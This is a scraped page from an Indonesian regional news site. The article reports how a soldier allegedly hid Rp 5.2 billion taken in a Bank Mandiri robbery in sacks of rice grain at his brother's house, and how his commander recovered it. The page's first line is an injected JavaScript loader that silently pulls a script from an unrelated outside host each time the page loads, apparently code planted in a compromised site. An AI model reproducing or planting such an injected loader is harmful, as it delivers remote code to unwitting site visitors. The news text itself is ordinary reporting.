(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Oknum TNI Terlibat Perampokan Uang Rp 10 Miliar Milik Bank Mandiri Ditangkap


Sekitar pukul 21.00 Wita, Kopda Apung bersama Yongky dengan menggunakan Mobil Daehatsu Xenia berangkat dari Q Mall Banjarbaru menuju arah Tanjung dan setibanya di Binuang melihat razia yang dilakukan di depan Polsek Binuang. Akhirnya, Yongky memutuskan balik arah kembali menuju Martapura dan berhenti di salah satu Toko Ponsel daerah Binuang untuk membeli Ponsel sekaligus membeli Motor Honda Vario dengan menggunakan uang hasil rampokan.

Kopda Apung bersama Yongky melanjutkan perjalanan menuju arah Martapura dan berhenti di Daerah Mataraman, kemudian disepakati bahwa uang hasil rampokan disimpan di rumah saudara Kopda Apung di Astambul. Sekitar pukul 23.45 Wita, Kopda Apung dengan menggunakan Honda Vario membawa 4 karung yang berisi uang hasil rampokan ke rumah saudaranya bernama Sudiono.

Setiba di rumah Sudiono uang tersebut disimpan dengan cara dijadikan satu dalam karung besar yang dicampur dengan gabah (padi). Selanjutnya Yongky dengan menggunakan Mobil Daehatsu Xenia pergi meninggalkan Kopda Apung menuju Tanjung.

 

Pada hari Jum’at tanggal 5 Januari 2018 sekira pukul 03.00 Wita, Kopda Apung dengan menggunakan Sepeda Motor Jupiter MX milik Sudiono kembali ke Tabalong dan selanjutnya berdinas seperti biasa di Koperasi Kodim 1008/Tanjung.

Sekira pukul 13.30 Wita, usai melaksanakan Sholat Jumat, Kapolres Tanjung Tabalong menemui Dandim 1008/Tanjung dengan maksud menyampaikan adanya informasi hasil pemeriksaan yang dikembangkan dari tersangka Yongky bahwa uang dari hasil perampokan dititipkan kepada Kopda Apung, yang merupakan anggota Kodim 1008/Tanjung.

Dandim 1008/Tjg pun berkoordinasi dengan Kapolres Tabalong dan selanjutnya berangkat menuju ke TKP penyimpanan uang di Astambul. Di situlah, Dandim 1008/Tjg bersama Pasi Intel Kodim 1008/Tjg dan Kopda Apung tiba di rumah Sudiono yang merupakan kakaknya, untuk menyerahkan uang sebanyak 4 karung.  Dari hasil penghitungan, diperoleh bahwa 4 karung yang berisi uang tersebut berjumlah Rp 5.200.000.000.

Sementara itu, Dandim 1008/Tanjung Letkol Arm Anang Krisna Indra Kumara melalui Kepala Penerangan Korem 101 Antasari, Mayor Iskandar belum berani memastikan dugaan keterlibatan oknum TNI AD tersebut.

“Kami tak berwenang menyatakan oknum tersebut salah atau benar. Kasus ini sepenuhnya berada di aparat Kepolisian, kita tunggu saja,” ujarnya. (tim kanalkalimantan)

Reporter: Tim Kanalkalimantan
Editor: Chell

Page: 1 2

Desy Arfianty

Recent Posts

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

1 hari ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

1 hari ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

1 hari ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

1 hari ago

Cek Kondisi Kolam Renang Idaman Terkini, Ini Respon Komisi III DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More

2 hari ago

Pemkab Kapuas Percepat Pembangunan Infrastruktur di Desa Kalumpang

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas terus mendorong pemerataan pembangunan ke wilayah perdesaan. Pada… Read More

2 hari ago

This website uses cookies.